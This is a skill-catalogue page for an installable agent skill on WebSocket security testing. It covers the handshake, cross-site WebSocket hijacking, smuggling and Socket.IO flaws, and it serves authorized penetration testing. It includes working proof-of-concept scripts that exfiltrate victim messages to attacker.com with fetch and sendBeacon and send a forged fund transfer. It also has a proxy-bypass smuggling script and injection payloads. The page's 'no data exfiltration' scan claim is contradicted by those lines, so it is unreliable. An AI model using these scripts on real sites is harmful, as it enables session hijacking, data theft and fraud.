SkillAgentSearch skills...

websocket-security

WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws

Install / Use

npx skills add yaklang/hack-skills --skill websocket-security

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

91/100

Category

Security

Supported Platforms

Zed

Our assessment of websocket-security

websocket-security scores 91/100 on our quality scale, 451st of 1,108 Security skills we index (top 41%).

Its SKILL.md is 14 KB long, well organised into 57 sections with 26 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
12/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so websocket-security is actively maintained.
  • Our last check on 2026-10-29 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.

AI review by kimi-k2.7-code on 2026-10-01. Automated pattern scan on 2026-09-30. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

websocket-security compared with similar skills

All 4 of these similar skills score higher than websocket-security; compare them before choosing.

SkillScoreStarsUpdatedFormat
websocket-security (this skill)by yaklang912.3k2mo agoSKILL.md
Agent-Reachby Panniantong100112.3k8d agoCLAUDE.md
headroomby headroomlabs-ai10079.8ktodayCLAUDE.md
Scraplingby D4Vinci100103.6k2d agoMCP Server
crawl4aiby unclecode10087.4k3d agoMCP Server

Frequently asked questions

How do I install websocket-security?
Run npx skills add yaklang/hack-skills --skill websocket-security. The install tabs above show the steps for each supported agent.
Which AI agents does websocket-security work with?
It is written for Zed, as a SKILL.md file. Other agents that read the same format can often use it too.
Is websocket-security safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is websocket-security still maintained?
The repository was last updated about 2 months ago, so websocket-security is actively maintained.

name: websocket-security description: >- WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.

SKILL: WebSocket Security

AI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load api-sec when present in the workspace.

0. QUICK START

During proxy or raw traffic review, watch for:

Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol

Server success response indicators:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Routing note: in Burp/browser DevTools, filter for 101 and Upgrade: websocket; for deeper API testing, align authn/authz models through api-sec.


1. PROTOCOL BASICS

Client request (typical)

  • Upgrade: websocket and Connection: Upgrade — required upgrade handshake.
  • Sec-WebSocket-Key — base64 nonce; server hashes with magic GUID and responds with Sec-WebSocket-Accept.
  • Sec-WebSocket-Version: 13 — current standard version for browser interoperability.

Server response

  • HTTP/1.1 101 Switching Protocols — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.

Minimal conceptual flow:

Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close

2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)

Condition

  • The server does not validate Origin (or equivalent binding) on the WebSocket handshake, and
  • The victim has an active session (cookie-based or browser-stored creds) to the target site.

Then a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.

Proof-of-concept pattern (laboratory / authorized target only)

const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};

Testing notes: Confirm whether Origin is checked, whether cookies are sent (SameSite rules), and whether subprotocol or custom headers are required—missing checks increase CSWSH risk.


3. TESTING WITH TOOLS

wsrepl

pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py

Use a plugin to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.

ws-harness (bridge to HTTP for other tools)

python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt

Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):

sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch

Burp Suite ecosystem

  • SocketSleuth — inspect and manipulate WebSocket traffic inside Burp.
  • WebSocket Turbo Intruder — high-rate or scripted message fuzzing.

4. COMMON VULNERABILITIES

| Issue | Why it matters | |-------|----------------| | Missing Origin validation | Enables CSWSH from attacker-controlled pages | | Auth token in URL (wss://host/ws?token=...) | Logs, proxies, Referer leakage, browser history | | No rate limiting on messages | Abuse, brute force, DoS | | ws:// instead of wss:// | Cleartext on the wire (MITM) | | Injection in message bodies | SQLi, command injection, or XSS if content is stored/reflected elsewhere |

Example sensitive URL anti-pattern:

wss://api.example.com/stream?access_token=eyJh…[redacted]

Prefer Sec-WebSocket-Protocol, first-message auth, or cookie + CSRF token patterns aligned with product constraints.


5. DECISION TREE

  1. Identify endpoint — From JS bundles, Swagger, or 101 responses; note wss vs ws.
  2. Handshake review — Are Origin, Host, and Cookie policies correct? Any token in query string?
  3. Session binding — Reconnect with another user’s cookie jar in Burp; compare subscription topics and data leakage.
  4. CSWSH — Load a local HTML page that connects to the target with victim session active; verify server rejects wrong Origin or uses non-cookie secret.
  5. Message semantics — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
  6. Transport — Flag ws:// in production; verify TLS and HSTS alignment.

6. RELATED ROUTING

  • From api-sec — authentication, authorization, IDOR, and rate limiting often mirror HTTP APIs behind the same WebSocket routes.

Note: WebSocket often shares session and permission models with REST; use api-sec to align authentication and resource boundaries on the same backend.


7. CSWSH — STEP-BY-STEP EXPLOITATION

Step 1: Confirm no Origin check on WS handshake

# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)

Step 2: Craft attacker page

<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
    // Connection established as victim (cookies sent automatically)
    console.log('Connected as victim');
    // Send commands as victim
    ws.send(JSON.stringify({action: 'get_profile'}));
    ws.send(JSON.stringify({action: 'list_messages'}));
};

ws.onmessage = function(event) {
    // Exfiltrate all received messages
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: event.data
    });
};

ws.onerror = function(err) {
    fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>

Step 3: Cookies and session hijacking

Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent

Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers

Step 4: Read/write messages as victim

// Attacker can both READ and WRITE on the WebSocket
// Read: financial data, private messages, admin commands
// Write: transfer funds, change settings, send messages as victim

ws.onopen = () => {
    // Write: perform actions as victim
    ws.send(JSON.stringify({
        action: 'transfer',
        to: 'attacker_account',
        amount: 10000
    }));
};

ws.onmessage = (e) => {
    const data = JSON.parse(e.data);
    if (data.type === 'balance') {
        // Read: exfiltrate sensitive data
        navigator.sendBeacon('https://attacker.com/data',
            JSON.stringify(data));
    }
};

8. WEBSOCKET SMUGGLING

Concept

Use the WebSocket upgrade to bypass reverse proxy restrictions, then tunnel arbitrary HTTP traffic through the WebSocket connection.

Upgrade-based proxy bypass

1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
   GET /admin HTTP/1.1
   Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content

H2-over-WebSocket smuggling

1. Connect to target via WebSocket
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
3. Backend HTTP/2 handler processes the smuggled requests
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic

Implementation with Python

import websocket
import ssl

ws = websocket.create_connection(
    'wss://target.com/ws',
    header=['Origin: https://target.com'],
    sslopt={"cert_reqs": ssl.CERT_NONE}
)

# After upgrade, send raw HTTP through the tunnel
smuggled_request = (
    b"GET /admin/users HTTP/1.1\r\n"
    b"Host: internal-backend\r\n"
    b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2)  # binary frame
response = ws.recv()
print(response)

Proxy-specific behaviors

| Proxy | WebSocket Tunnel Behavior | |-------|--------------------------| | Nginx | Passes raw TCP after 101 — smuggling possible if backend doesn't validate WS frames | | HAProxy | Depends on option http-server-close vs tunnel mode | | AWS ALB | Terminates WebSocket — reframes traffic, harder to smuggle | | Cloudflare | Inspects WebSocket frames — raw HTTP smuggling blocked | | Varnish | Does not support WebSocket natively — upgrade may bypass cache entirely |


9. SOCKET.IO SPECIFIC VULNERABILITIES

Namespace injection

Socket.IO supports namespaces (/admin, /chat). If authorization is only on the default namespace:

// Client connects to privileged namespace without auth check
const adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
    adminSocket.emit('list_users');
});

// Server may not verify that the client is authorized for /admin namespace

Event name injection

If event names are derived from user input:

// Server-side vulnerable pattern:
socket.on(userInput, handler);

// Attacker sends event name that matches internal event:
socket.emit('__disconnect');     // force disconnect other clients
socket.emit('connection');        // re-trigger connection handler
socket.emit('error');             // trigger error handler

Acknowledgement callback abuse

Socket.IO acknowledgements can return data. If the server sends sensitive data in ack callbacks:

socket.emit('get_data', {id: 'admin'}, (response) => {
    // response may contain data the client shouldn't have access to
    fetch('https://attacker.com/exfil', {
        method: 'POST',
        body: JSON.stringify(response)
    });
});

Polling fallback CSRF

Socket.IO falls back to HTTP long-polling when WebSocket is unavailable. The polling transport uses regular HTTP requests with cookies → susceptible to CSRF if no additional token verification:

POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream

4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}

10. WEBSOCKET MESSAGE INJECTION

In intercepted connections (MITM on ws://)

If the application uses ws:// (unencrypted), an attacker on the same network can inject messages:

1. ARP spoofing or network position to intercept traffic
2. Identify WebSocket frames in TCP stream
3. Inject crafted frames between legitimate messages
4. Both client→server and server→client injection possible

Application-level injection

When WebSocket messages are concatenated or interpolated without sanitization:

// Vulnerable server-side handler:
socket.on('chat', (msg) => {
    // If msg contains JSON metacharacters:
    broadcast(`{"user":"${username}","msg":"${msg}"}`);
    // Injection: msg = '","admin":true,"msg":"hacked'
    // Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
});

Stored XSS via WebSocket

1. Send WebSocket message: <img src=x

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars2.3k
CategorySecurity
Updated2mo ago
Forks303

Languages

CSS

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions